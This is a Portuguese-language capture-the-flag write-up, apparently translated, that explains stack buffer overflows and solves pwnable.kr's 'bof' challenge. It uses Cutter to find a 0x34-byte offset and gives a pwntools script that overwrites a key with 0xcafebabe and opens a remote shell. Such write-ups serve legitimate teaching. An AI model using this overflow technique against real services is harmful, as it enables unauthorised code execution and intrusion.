Neste artigo, analisaremos esse tipo de vulnerabilidade como um estouro de buffer na pilha e resolveremos a terceira tarefa do site
pwnable.kr .
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Estouro de buffer
O estouro de buffer é uma vulnerabilidade em programas de computador com base na capacidade de gravar dados fora do buffer alocado na memória, o que ocorre, em regra, devido ao recebimento e processamento descontrolados de dados externos. O uso da tecnologia de quadro de pilha de alto nível pelas linguagens leva à mistura de dados de controle e dados de programa.
Neste artigo, analisamos apenas o estouro de buffer na pilha. Esse tipo de estouro de buffer é conhecido como esmagamento de pilha e pode ser explorado das seguintes maneiras:
- substituindo uma variável local localizada na memória perto do buffer;
- reescreva o endereço de retorno no quadro da pilha;
- reescrever um ponteiro de função ou manipulador de exceções;
- sobrescrevendo um parâmetro de outro quadro de pilha.
Esta tarefa usa o método de reescrever uma variável local. Considere sua essência no seguinte exemplo:
#include <stdio.h> #include <string.h> int main(){ char pass[9] = "p@ssw0rd\x00"; char buf[9]; printf("Input password: "); scanf("%s", buf); if(!strcmp(pass, buf)) printf("Login ok!!!\n"); else printf("FAIL...\n"); return 0; }
Como a variável
pass é definida anteriormente, a variável
buf , é possível estourá-la. Se você digitar mais de 9 bytes no
buf , eles substituirão os dados na variável
pass . Assim, é possível "alterar" a senha para si própria, passando o programa, por exemplo, uma linha
11111111 \ x0011111111 \ x00 .


Solução do trabalho bof
Clicamos no ícone com a assinatura bof e somos fornecidos com o código fonte, o próprio programa, assim como o endereço e a porta da conexão TCP.

Vamos dar uma olhada no código fonte.

Segue-se do código que o programa aceita a string, mas compara a chave já conectada com o valor de controle. Porém, como a entrada não é controlada e a chave é definida antes do nosso buffer, podemos exceder o buffer e substituir a chave. Para isso, é necessário determinar as posições relativas das variáveis na memória.
Vou usar o
Cutter para analisar o programa. Abra o Cortador, especifique o caminho para o arquivo executável.



O cortador nos envia imediatamente para o ponto de entrada. Na lista de funções, selecione principal.

Em geral, vemos uma chamada para nossa função, abra-a clicando duas vezes no nome da função.

Há um comentário antes do código da função, que reflete as variáveis usadas na função e seus endereços em relação à base do quadro de pilha atual (ebp). Como você pode determinar, nosso buffer é a variável
var_2ch e a chave é
arg_8h .


Calculamos quantos bytes precisamos sobrescrever. Para fazer isso, basta encontrar a diferença entre os endereços.

Portanto, precisamos enviar ao programa 0x34 quaisquer bytes e, em seguida, adicionar o valor de referência para um exemplo. Por conveniência, eu uso a biblioteca
pwntools .
from pwn import * conn = remote('pwnable.kr', 9000) payload = 'A' * 0x34 payload += '\xbe\xba\xfe\xca' conn.send(payload) conn.interactive()
Pegamos a concha e visualizamos a bandeira.

Como resultado, obtemos nossos pontos.

Neste artigo, vimos um exemplo de exploração de um estouro de buffer em uma pilha, conhecendo a ferramenta Cutter e a biblioteca pwntools. No próximo artigo, falaremos sobre empacotar arquivos executáveis e resolveremos a quarta tarefa. Vejo você nos seguintes artigos.
Estamos em um canal de telegrama: um
canal no telegrama .